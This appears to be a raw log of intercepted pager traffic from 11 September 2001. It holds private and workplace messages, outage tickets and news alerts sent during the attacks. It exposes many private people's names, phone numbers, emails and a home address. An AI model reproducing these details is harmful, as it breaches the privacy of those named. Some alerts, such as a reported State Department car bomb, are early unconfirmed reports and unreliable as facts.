Metrocall [002540408] C ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:27 Metrocall [1478293] B ALPHA GIVE DISPATCH A CALL,JANICE\n2001-09-11 10:27:27 Metrocall [0639948] D ALPHA 1 9:52 AM To\n2001-09-11 10:27:27 Metrocall [002468192] A ALPHA dded. When workers enter substation for targets, you may now report targets instead of\n2001-09-11 10:27:27 Metrocall [002540408] C ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers enter substation for targets, you may now report targets instead of\n2001-09-11 10:27:29 Arch [0869238] B ALPHA (12)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:29 Arch [0632627] A ALPHA NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:29 Arch [0987441] A ALPHA From-rosenbrm.... Steve Frank would like you to come to his office to b\n2001-09-11 10:27:29 Arch [0793995] C ALPHA (29)NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:29 Arch [1301811] A ALPHA (28)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:29 Metrocall [0750784] A ALPHA Frm: kwboggs@aep.com Sub: Txt: 0920 - ORW issued for Plants and Transmission.\n2001-09-11 10:27:29 Metrocall [0626007] B ALPHA 44-PLS SEND TODAY'S DAILY NUMBERS TO BWILSON@LABORREADY.COM. THANK YOU, WENDY.\n2001-09-11 10:27:29 Metrocall [1495808] A ALPHA CALL CAROLYN MCLEAN 214\n2001-09-11 10:27:29 Metrocall [1372653] D ALPHA From:Lee Kavanaugh/lsp/LADPS/us@LADPS Body:Please give me a call at 318-862-9919.\n2001-09-11 10:27:29 Metrocall [002540412] D ALPHA [ 1/ 2] \n2001-09-11 10:27:30 Arch [0987441] A ALPHA rief him on what SCE is doing under these circumstances\n2001-09-11 10:27:31 Metrocall [1495808] A ALPHA -252-3502 DR. TILLMAN HINE GAVE HER YOUR NAME SEP11/9:23\n2001-09-11 10:27:31 Metrocall [002540412] D ALPHA From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When worker\n2001-09-11 10:27:31 Metrocall [0813205] B ALPHA MARY BOWMAN 505 N.FRONT ST.37854 354-1379 33550 LR 59.95.\n2001-09-11 10:27:31 Metrocall [0525707] C ALPHA 02-I GOT YOUR MESSAGE. I LOVE YOU VERY MUCH. STAY SAFE. -MARY.\n2001-09-11 10:27:31 Metrocall [100261861] B ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: O\n2001-09-11 10:27:31 Skytel [007005835] C ALPHA VOICE MESSAGE [7121\n2001-09-11 10:27:31 Skytel [002854405] B ALPHA Support@uscellular.com|Sev1|Issue: CARES M02/M03 Protobase errors taking payments. App. Team Investigating. \n2001-09-11 10:27:31 Skytel [005479040] A ST NUM 954-757-8100 \n2001-09-11 10:27:31 Skytel [007519503] D ALPHA y-alerts@yahoo-inc.com|| Plane crashes into second World Trade Center t\n2001-09-11 10:27:31 Skytel [005115781] B ST NUM 785-365-3329 \n2001-09-11 10:27:31 Skytel [004728070] B ALPHA BBT staff meeting is cancelled today Dave Dietz v622-6450\n2001-09-11 10:27:31 Skytel [003209223] B ST NUM 1-800-776-0089 \n2001-09-11 10:27:31 Skytel [005081225] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:31 Skytel [0000782] D ALPHA Houston Sales operational at \n2001-09-11 10:27:31 Skytel [005330958] D ALPHA Please call 630-875-4419..Bruce\n2001-09-11 10:27:31 Skytel [002753802] C SH/TONE 3788 \n2001-09-11 10:27:31 Skytel [004537612] D ST NUM 183-5033-3 U (54 \n2001-09-11 10:27:31 Skytel [005332495] D ALPHA Guys we have cancelled our flight as you can expect. We are due to fly out @ 1030 tomorrow, hopefully. Please let Joyce know, and call us or page us (if you can) on\n2001-09-11 10:27:31 Skytel [004534157] D SH/TONE 8484 \n2001-09-11 10:27:31 Skytel [003523855] D SH/TONE 36002 \n2001-09-11 10:27:31 Skytel [005426959] D ALPHA @10:25 ESC/Executive Outage Status - Missouri Medicaid online remains unavailable. Alternate online available with limited functionality. Impact primarily to state employees, not end users. No ETR. Next status at 14:00\n2001-09-11 10:27:32 Arch [0977467] C ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:32 Arch [0978377] C ALPHA 6373\n2001-09-11 10:27:32 Arch [1422551] B ALPHA newsdirect@lyris|NEWS ALERT|According to the Associated Press a car bomb exploded outside State Department. Stay tuned to NBC10 News. ------ To unsubscribe or change your settings visit http://64.2\n2001-09-11 10:27:32 Arch [0924725] B ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:32 Arch [0988580] B ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:33 Metrocall [002540412] D ALPHA s enter substation for targets, you may now report targets instead of\n2001-09-11 10:27:33 Metrocall [100261861] B ALPHA n adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers enter substation\n2001-09-11 10:27:33 Metrocall [1889612] D ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers enter substation for targets, you may now report targets i\n2001-09-11 10:27:33 Skytel [007519503] D ALPHA ower. \n2001-09-11 10:27:33 Skytel [003897630] D ALPHA HELP DESK IN PHOENIX TICKET NUMBER T3268729 PAYMENT SYSTEM BETWEEN INTERNET AND OPICS IS DOWN. \n2001-09-11 10:27:33 Skytel [005080978] A ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:33 Skytel [005390495] D SH/TONE 249-7947\n2001-09-11 10:27:33 Skytel [0000782] D ALPHA 9:55a ET.\n2001-09-11 10:27:33 Skytel [005328157] D SH/TONE 3700 \n2001-09-11 10:27:33 Skytel [004570774] B ST NUM 880-5606-0\n2001-09-11 10:27:33 Skytel [004744468] B ST NUM 212-566-6028-3000 \n2001-09-11 10:27:33 Skytel [007524758] B ALPHA \"Geoffrey Crann\" |hi son|bombing in NYC and Washington-----pray get to the chapel and say a = rosary\n2001-09-11 10:27:33 Skytel [005099934] D ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clea\n2001-09-11 10:27:33 Skytel [005332495] D ALPHA the cell. Kill the bastards! Jim \n2001-09-11 10:27:33 Skytel [005345951] D ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:33 Skytel [004549277] D ALPHA Tara_Tracy@Mastercard.com||From:Tara TracyPlease call your wife first to let her\n2001-09-11 10:27:33 Skytel [005426959] D ALPHA ET. (eom) (86\n2001-09-11 10:27:33 Skytel [004685212] D ALPHA please call and let me know you're okay! I think you said you were flying to Newark yesterday? Jan must be freaking out. Charie 216-901-7411\n2001-09-11 10:27:33 Skytel [004730518] B ST NUM 301-231-6562-2 \n2001-09-11 10:27:33 Skytel [005344921] C ALPHA Threatcon Delta world wide radio room\n2001-09-11 10:27:34 Arch [0924725] B ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:34 Arch [1422551] B ALPHA 24.114.225/listserve/unsubscribe.asp or call\n2001-09-11 10:27:34 Arch [0988580] B ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:35 Metrocall [002540412] D ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:35 Metrocall [1890309] B ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:35 Metrocall [100261861] B ALPHA for targets, you may now report targets instead of\n2001-09-11 10:27:35 Metrocall [1889612] D ALPHA nstead of\n2001-09-11 10:27:35 Metrocall [0502855] B ALPHA Frm: Tammy Patterson Sub: Michael LEU Txt: Available until 10:00 our time 918-744-1900.\n2001-09-11 10:27:35 Metrocall [002293147] C ALPHA DCO in ofc. He will attend post mtg @1200 ref security, etc. DCO ck'd w/Chevez and he is on top of everything.\n2001-09-11 10:27:35 Metrocall [002160790] B ALPHA 26-PLEAS\n2001-09-11 10:27:35 Skytel [005182114] A SH/TONE 59735 \n2001-09-11 10:27:35 Skytel [005421985] A SH/TONE 26 (58 \n2001-09-11 10:27:35 Skytel [004140705] A ST NUM 08007598255 (52\n2001-09-11 10:27:35 Skytel [005524394] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:35 Skytel [005201570] A ALPHA 5757937 WILLIE HOLMES 912 369 5844 PT IS AT RESIDENCE NOW PLEASE CALL\n2001-09-11 10:27:35 Skytel [004039714] A ALPHA 800-227-303\n2001-09-11 10:27:35 Skytel [005099934] D ALPHA r of windows. Thanks, Vel J.\n2001-09-11 10:27:35 Skytel [002566308] B ST NUM 303-337-4903 \n2001-09-11 10:27:35 Skytel [007594279] B ST NUM 800-835-8994 \n2001-09-11 10:27:35 Skytel [002864936] C ALPHA Upd-CSC/7777: WTC in Boston and 100 Summer St are closed as a precaution. National Master Console has been re-routed to Merrimack. Updates to follow. (KRC 10:21)\n2001-09-11 10:27:35 Skytel [004549277] D ALPHA know your okay and then call Tara \n2001-09-11 10:27:35 Skytel [003329444] B ALPHA No pages for BAC overnight (49\n2001-09-11 10:27:35 Skytel [005228457] C ST NUM 404-966-7406 \n2001-09-11 10:27:35 Skytel [005069349] B ST NUM 914-204-0608 \n2001-09-11 10:27:35 Skytel [005317796] B ALPHA MY NAME IS SNELL RETURNING A CALL REGARDING SETTING UP A DELIVERY. WILL BE HOME ALL DAY .\n2001-09-11 10:27:35 Skytel [005542824] C ST NUM 853-8828 (94 \n2001-09-11 10:27:35 Skytel [002839726] D SH/TONE 773-4100\n2001-09-11 10:27:35 Skytel [003454509] D ST NUM 305-326-5125 \n2001-09-11 10:27:35 Skytel [005104809] C ALPHA 972-239-2750\n2001-09-11 10:27:35 Skytel [007609127] B SH/TONE 789-9855\n2001-09-11 10:27:35 Skytel [002157229] D ST NUM 703-322-8175 \n2001-09-11 10:27:35 Skytel [005510182] B ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:35 Skytel [007617578] C ST NUM 717-309-4105 \n2001-09-11 10:27:35 Skytel [004683437] D ST NUM 1-004-084-8379-74 \n2001-09-11 10:27:35 Skytel [004386210] A ST NUM 800-227-3030 \n2001-09-11 10:27:35 Skytel [005424418] A ALPHA 09-CA\n2001-09-11 10:27:36 Arch [0969753] C ALPHA SWAT from (palumbo): This is a test of the paging system\n2001-09-11 10:27:36 Arch [0280127] D ALPHA 55-PLEASE CALL TODD DUNN AT 209-832-9748.\n2001-09-11 10:27:36 Arch [1622871] B ALPHA ||07:25 ^DJI 9605.51 0.00 ^IXIC 1695.38 0.00 CSCO 14.47 0.00 NT 5.35 0.00 COMS 3.60 0.00 LU 5.95 0.00 JNPR 12.50 \n2001-09-11 10:27:36 Arch [0951853] D ALPHA ** P-9 TO FSI, SIREN PROBLEM, POSS A QUICK FIX, JIM B\n2001-09-11 10:27:36 Arch [0976287] D ALPHA aclymer|AA in the UK say flight AA156 never took off, it is currently grounded \n2001-09-11 10:27:36 Arch [0937901] D ALPHA 67-PLEASE CALL LINDA AT WORK. 459-7286.\n2001-09-11 10:27:36 Arch [0578286] D ALPHA BREAKING NEWS from CNN.com -- United Nations evacuated. For complete coverage of this story visit: http://www.CNN.com or AOL Keyword: CNN CNN Headline News has changed everything but its name. Visit u\n2001-09-11 10:27:36 Arch [1274732] D ALPHA 77-WHERE ARE YOU? ARE YOU OK? CAN YOU CALL ME? I LOVE YOU.\n2001-09-11 10:27:36 Arch [0578226] A ALPHA \" Max & BigInfo |Automatic Shipping Report Comple|> ---------- > From: Max & BigInfo [SMTP:DAVEM@ACTEL.COM] > Sent: Tuesday, September 11, 2001 7:16:26 AM \n2001-09-11 10:27:37 Metrocall [100261861] B ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:37 Metrocall [1889612] D ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:37 Metrocall [002160790] B ALPHA E CALL YOUR DAUGHTER, CHRISTINE AT 607-849-3831.\n2001-09-11 10:27:37 Metrocall [1283139] A ALPHA 711510-223-2221 Turn on radio\n2001-09-11 10:27:37 Metrocall [002587477] B ALPHA Jill: need you or Kathy at EOC please. Lindy\n2001-09-11 10:27:37 Metrocall [1160328] C ALPHA *SEV1 ALERT NPCS# 1687935 09/11/01 10:21 AM ET. The Utica Checks response time problem has cleared as of 9:55 AM ET without manual \n2001-09-11 10:27:37 Skytel [004039714] A ALPHA 0 (11\n2001-09-11 10:27:37 Skytel [004588977] A ST NUM 770-356-4069 \n2001-09-11 10:27:37 Skytel [005311905] A ST NUM 212-395-6196 \n2001-09-11 10:27:37 Skytel [007528634] C ALPHA root@geneva.vmware.com|CFM alert (#12)| 06:58:19 09/11/01 Error: Could not reach either spokane, bi\n2001-09-11 10:27:37 Skytel [005368114] A SH/TONE 77855 \n2001-09-11 10:27:37 Skytel [0001328] A ALPHA ALL MGRS THERE WILL BE AN EMERGENCY MTNG AT 0945 IN THE MAIN CONFER\n2001-09-11 10:27:37 Skytel [003417893] B ST NUM 9779860148\n2001-09-11 10:27:37 Skytel [002859682] A ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:37 Skytel [003209013] B SH/TONE 4985 \n2001-09-11 10:27:37 Skytel [004579001] C ST NUM 637-9665 U (3422 \n2001-09-11 10:27:37 Skytel [005213867] C ALPHA ms.dmouse@juno.com|call me|If you know whether you can get to NYC; if I can get home to Queens. I hear no news. ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FRE\n2001-09-11 10:27:37 Skytel [005424418] A ALPHA LL ME. PATTY 310-306-0035. (7\n2001-09-11 10:27:37 Skytel [004419390] D SH/TONE 726-9884\n2001-09-11 10:27:37 Skytel [007558179] A ST NUM 203-777-9599-911911 \n2001-09-11 10:27:37 Skytel [003205678] D SH/TONE 3469 \n2001-09-11 10:27:37 Skytel [004540735] D ALPHA CALL ME!!! I CAN'T GET THROUGH TO YOU!\n2001-09-11 10:27:37 Skytel [005099197] D ALPHA PLS CALL MIKE AT 972-398-1563 FOR LOCK OUT.\n2001-09-11 10:27:37 Skytel [0001329] A ALPHA ALL MGRS THERE WILL BE AN EMERGENCY MTNG AT 0945 IN THE\n2001-09-11 10:27:38 Arch [1622871] B ALPHA 0.00 INTC 26.07 0.00 MSFT 57.58 0.00 AOL 34.41 0.00|164 \n2001-09-11 10:27:38 Arch [0969812] B ALPHA Call Cyril Meth/Main 7 re pt Johnson @ 713-790-2358 Thanks pat\n2001-09-11 10:27:38 Arch [1404681] C ALPHA \"Lyons, Robert (|New York Rector St office server BINNYCFAP011 being shutdown until further notice. \n2001-09-11 10:27:38 Arch [0578286] D ALPHA s online at http://cnn.com/headlinenews =\n2001-09-11 10:27:38 Arch [0284705] A ALPHA \"Kimberly Potter|one tower has collaped, car bomb has exploded outside state department call me when you get a chance... _________________________\n2001-09-11 10:27:38 Arch [0578226] A ALPHA > To: Skippy; Mike; Marc; Max; Daniel > Subject: Automatic Shipping Report Completed >\n2001-09-11 10:27:38 Arch [1421486] D ALPHA \"Lyons, Robert (|New York Rector St office server BINNYCFAP011 being shutdown until further notice. \n2001-09-11 10:27:39 Metrocall [1283139] A ALPHA or TV - NY & WashDC hit with several terrorist attacks. (Plane crashes into World Trade Ctr & poss. Pentagon.) -judithTue Sep 11 07:23:53 2001\n2001-09-11 10:27:39 Metrocall [1160328] C ALPHA intervention. For further information please reference NPCS #1687975.\n2001-09-11 10:27:39 Metrocall [1115145] C ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers enter substation for targets, you may now report targets instead of\n2001-09-11 10:27:39 Skytel [0001328] A ALPHA ENCE ROOM.\n2001-09-11 10:27:39 Skytel [002164418] A ST NUM 36165 (50 \n2001-09-11 10:27:39 Skytel [002751427] A ST NUM 765-045-8911-911 \n2001-09-11 10:27:39 Skytel [004396866] A ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:39 Skytel [003921486] D ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows\n2001-09-11 10:27:39 Skytel [003496518] B SH/TONE 475-2339\n2001-09-11 10:27:39 Skytel [003973957] B ALPHA ALEJANDRO: POR FVR. LLAMAME A LA CASA. TE MANDO UN BESO. (3 (3\n2001-09-11 10:27:39 Skytel [004731722] C ALPHA MICHAEL, PLEASE GET IN TOUCH WITH ME. I AM WORRIED. DONNA 718 253 7606\n2001-09-11 10:27:39 Skytel [003948745] C SH/TONE 6550 \n2001-09-11 10:27:39 Skytel [002347337] C ST NUM 619-557-5800 (14 \n2001-09-11 10:27:39 Skytel [002688969] C ALPHA wendy.johnson@steritech.com||ESR: Robert, Ta\n2001-09-11 10:27:39 Skytel [005213867] C ALPHA E or PREMIUM \n2001-09-11 10:27:39 Skytel [008507076] B ALPHA 01309h602100000000008b8877dg\n2001-09-11 10:27:39 Skytel [007009740] D ALPHA Y! ||iPAQ Pocket PC Now from $499 Laguna Niguel CA Partly Cloudy 59 - 73 F WNI \n2001-09-11 10:27:39 Skytel [002787656] C ST NUM 8884207359\n2001-09-11 10:27:39 Skytel [003494728] C SH/TONE 268-2667\n2001-09-11 10:27:39 Skytel [005117898] C ST NUM 612-632-1403 \n2001-09-11 10:27:39 Skytel [005509321] C ST NUM 845-398-3137 \n2001-09-11 10:27:39 Skytel [005361605] B ST NUM 0101091136940000000000 \n2001-09-11 10:27:39 Skytel [0001329] A ALPHA MAIN CONFERENCE ROOM.\n2001-09-11 10:27:39 Skytel [007521226] C ALPHA Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:39 Skytel [003920079] D ALPHA Support@uscellular.com|Sev1|Issue: CARES M02/M03 Protobase errors taking payments. App. Team Investigating. \n2001-09-11 10:27:39 Skytel [003920207] D ALPHA SUP CALL BACK \n2001-09-11 10:27:40 Arch [0811974] B ALPHA NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:40 Arch [0999133] D ALPHA (6)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:40 Arch [0284705] A ALPHA ________________________________________ Get your FREE download of MSN Explorer at http://explo\n2001-09-11 10:27:40 Arch [1426129] A ALPHA (8)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster.\n2001-09-11 10:27:40 Arch [0555773] D ALPHA (4)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:40 Skytel [003921486] D ALPHA . Thanks, Vel J.\n2001-09-11 10:27:40 Skytel [005102296] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:40 Skytel [004536917] B ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:40 Skytel [002688969] C ALPHA mmy w/FH Waterman 352-589-3359 ants in Patient Financial Services Thanks. \n2001-09-11 10:27:40 Skytel [005053648] A ST NUM 1-718-998-3247 \n2001-09-11 10:27:40 Skytel [007091798] B ST NUM 800-759-8255 \n2001-09-11 10:27:40 Skytel [007556953] C ALPHA Support@uscellular.com|Sev1|Issue: CARES M02/M03 Protobase errors taking payments. App. Team Investigating. \n2001-09-11 10:27:40 Skytel [003256026] C ALPHA SE\n2001-09-11 10:27:40 Skytel [004692697] C ALPHA Where are you???? \n2001-09-11 10:27:40 Skytel [005097055] D ST NUM 310-3861-39 \n2001-09-11 10:27:41 Metrocall [1224262] B ALPHA 113023 Lorine Downing Shepherd 4815 Clinton Boulevard Jackson 39209 22W17 Prepaid Inspection-Electrical 9/11 w/flourescent tubes; w/AC PM WO; Inspection; Electrical; Prepaid; Residential; 2 tubes & 1 switch out (mark T&M). Check (\n2001-09-11 10:27:41 Metrocall [1224262] B ALPHA 111419 Lorine Dowo..g..h..h..d..8.. .i..................................................ion-Air Conditioning 9/11 w/electrical PM WO; DUE 9/05 (90) DAY inspection prepaid; Check gas odor at east furnace Check 1-18X24X1;1-16X20X1 TW\n2001-09-11 10:27:41 Skytel [003265502] D ST NUM 816-274-7779 (77 \n2001-09-11 10:27:41 Skytel [003921630] D ALPHA mapcount done 2/5\n2001-09-11 10:27:41 Skytel [002775002] C SH/TONE 220-5811\n2001-09-11 10:27:41 Skytel [003250645] B SH/TONE 924-4790\n2001-09-11 10:27:41 Skytel [003917149] D ALPHA Support@uscellular.com|Sev1|Issue: CARES M02/M03 Protobase errors taking payments. App. Team Investigating. \n2001-09-11 10:27:41 Skytel [003920207] D ALPHA IN E-MAIL FOR MARLENE'S CLUSTER DOROTHY 3132\n2001-09-11 10:27:41 Skytel [005358934] B ALPHA Upd-CSC/7777: WTC in Boston and 100 Summer St are closed as a precaution. National Master Console has been re-routed to Merrimack. Updates to follow. (KRC 10:21)\n2001-09-11 10:27:41 Skytel [005066589] D ST NUM 562-218-8518-911 \n2001-09-11 10:27:42 Arch [1426129] A ALPHA More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:42 Arch [1004505] C ALPHA 735-9826\n2001-09-11 10:27:42 Metrocall [1115220] B ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers enter substation for targets, you may now report targets instead of\n2001-09-11 10:27:42 Metrocall [1115220] B ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:42 Metrocall [0245109] B ALPHA Caller holding from 817 831-3121 (9:28 AM/SEP 11)\n2001-09-11 10:27:42 Skytel [004140002] A ST NUM 283-0361 (75 \n2001-09-11 10:27:42 Skytel [007608041] C ALPHA Guys we have cancelled our flight as you can expect. We are due to fly out @ 1030 tomorrow, hopefully. Please let Joyce know, and call us or page us (if you can) on the cell. Kill the bastards! Jim \n2001-09-11 10:27:42 Skytel [003458275] A ST NUM 800-227-3030 \n2001-09-11 10:27:42 Skytel [003256026] C ALPHA V1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:42 Skytel [002818667] C ALPHA I LOVE YOU.\n2001-09-11 10:27:42 Skytel [005436525] D ALPHA Test #34-IX_T0512\n2001-09-11 10:27:42 Skytel [004215529] C SH/TONE 3200 (25\n2001-09-11 10:27:42 Skytel [007594344] C ST NUM 626-256-6449 \n2001-09-11 10:27:42 Skytel [005067744] A SH/TONE 466-3217\n2001-09-11 10:27:42 Skytel [005187817] C SH/TONE 1 (78 \n2001-09-11 10:27:42 Skytel [007456610] A ST NUM 8776341810\n2001-09-11 10:27:42 Skytel [005359329] A ALPHA They just closed Hopewell Campus. Everyone went home. Don nis ok. He's in midtown.\n2001-09-11 10:27:42 Skytel [005204582] B ST NUM 1-212-855-4513 \n2001-09-11 10:27:42 Skytel [005523820] D SH/TONE 288-3942\n2001-09-11 10:27:42 Skytel [007555822] D ALPHA Bob...just wanting t\n2001-09-11 10:27:42 Skytel [007517280] A ALPHA Y! ||$499 deals on iPAQ Pocket PC Videogame Wars-Nintendo Strikes Back with GameCube Reuters \n2001-09-11 10:27:42 Skytel [005431791] D ST NUM 933-2262 (47 \n2001-09-11 10:27:42 Skytel [005369582] D SH/TONE 735-8456\n2001-09-11 10:27:42 Skytel [003267301] B SH/TONE 7906 \n2001-09-11 10:27:42 Skytel [004203631] D ST NUM 502-868-4504 (39 \n2001-09-11 10:27:42 Skytel [007611500] D SH/TONE 572-3721\n2001-09-11 10:27:42 Skytel [004690665] C ALPHA gaporter@usss.treas.gov|urgent |per ATSAIC Farrel, regardless of \n2001-09-11 10:27:43 Metrocall [1165746] A ALPHA EMAIL \"Ray Sharpe\" \n2001-09-11 10:27:44 Arch [1438887] B ALPHA 239-7264\n2001-09-11 10:27:44 Metrocall [1165746] A ALPHA RE: Meeting Noted - I'll be there. -----Original Message----- From: Frank Burkhalter [mailto:frankb@cellone-ms.com] Sent: Tuesday, September 11, 2001 8:32 AM To: Stan Gwin; Ross Jordan; Ray Sharpe; Kyle Drennan; Joe Ann Thompson; Gra\n2001-09-11 10:27:44 Metrocall [0523469] D ALPHA 95-ARE YOU OK? PLEASE CALL 212-445-8839.\n2001-09-11 10:27:44 Metrocall [002572457] C ALPHA Frm: Lauritz Sub: Are you OK? If so call home asap Txt: Are you OK? If so call home asap -- ******************** Visit our Internet site at http://www.tullib.com The contents of this email and any \n2001-09-11 10:27:44 Skytel [003481713] A SH/TONE 7 \n2001-09-11 10:27:44 Skytel [007609973] B ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:44 Skytel [007576816] A SH/TONE 693-7024\n2001-09-11 10:27:44 Skytel [005188976] A ST NUM 405-739-2645 \n2001-09-11 10:27:44 Skytel [007035519] D ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit au\n2001-09-11 10:27:44 Skytel [004531316] B SH/TONE 279-9384\n2001-09-11 10:27:44 Skytel [005060606] D ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:44 Skytel [007520765] D ALPHA Y!\n2001-09-11 10:27:44 Skytel [007555822] D ALPHA o know if you are okay...call me on my cell phone. 770-361-7651 - Angel....call me PLEASE!!!!!\n2001-09-11 10:27:44 Skytel [003928701] D SH/TONE 1111 \n2001-09-11 10:27:44 Skytel [005414004] B ALPHA Alert!! Car bomb has been detonated at the State Dept. in Washington. Looks like we are under a large scale terroist attak. (70\n2001-09-11 10:27:44 Skytel [004690665] C ALPHA lOCATION or ASSIGNMENT, call 406-8200 or 8209 (Task Force Ops) to be accounted for. The entire office will be calling these numbers. If you do not get through on the first t\n2001-09-11 10:27:44 Skytel [005368828] D ST NUM 817-924-8917 \n2001-09-11 10:27:44 Skytel [005107325] D ALPHA Threatcon Delta world wide radio room\n2001-09-11 10:27:46 Metrocall [002568440] C ALPHA (64) MISSOURI BAPTIST HOSPITAL AT 314-996-4595. 2ND PAGE. PLEASE CALL.(call\n2001-09-11 10:27:46 Metrocall [0089539] A ALPHA Frm: Alerts Sub: Txt: UNC: Monday's Winner of the TarHeelBlue Challenge Is...\n2001-09-11 10:27:46 Metrocall [002572457] C ALPHA fil\n2001-09-11 10:27:46 Metrocall [0152713] C ALPHA Frm: Svchammer (FUSA) Sub: Txt: Possible MCI outage on Elgin VRU 40\n2001-09-11 10:27:46 Metrocall [0048044] D ALPHA rick flight cnx dave sends...\n2001-09-11 10:27:46 Metrocall [0007690] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 3724\n2001-09-11 10:27:46 Skytel [007035519] D ALPHA thorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:46 Skytel [007559177] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:46 Skytel [007520765] D ALPHA || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:46 Skytel [005080969] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:46 Skytel [002811267] A ST NUM 703-716-0535 (54 \n2001-09-11 10:27:46 Skytel [005050112] A ST NUM 230-902-4911 \n2001-09-11 10:27:46 Skytel [005405448] C ST NUM 415-776-9598 \n2001-09-11 10:27:46 Skytel [005046022] B SH/TONE 450-3609\n2001-09-11 10:27:46 Skytel [003920778] C ALPHA SEV1 - 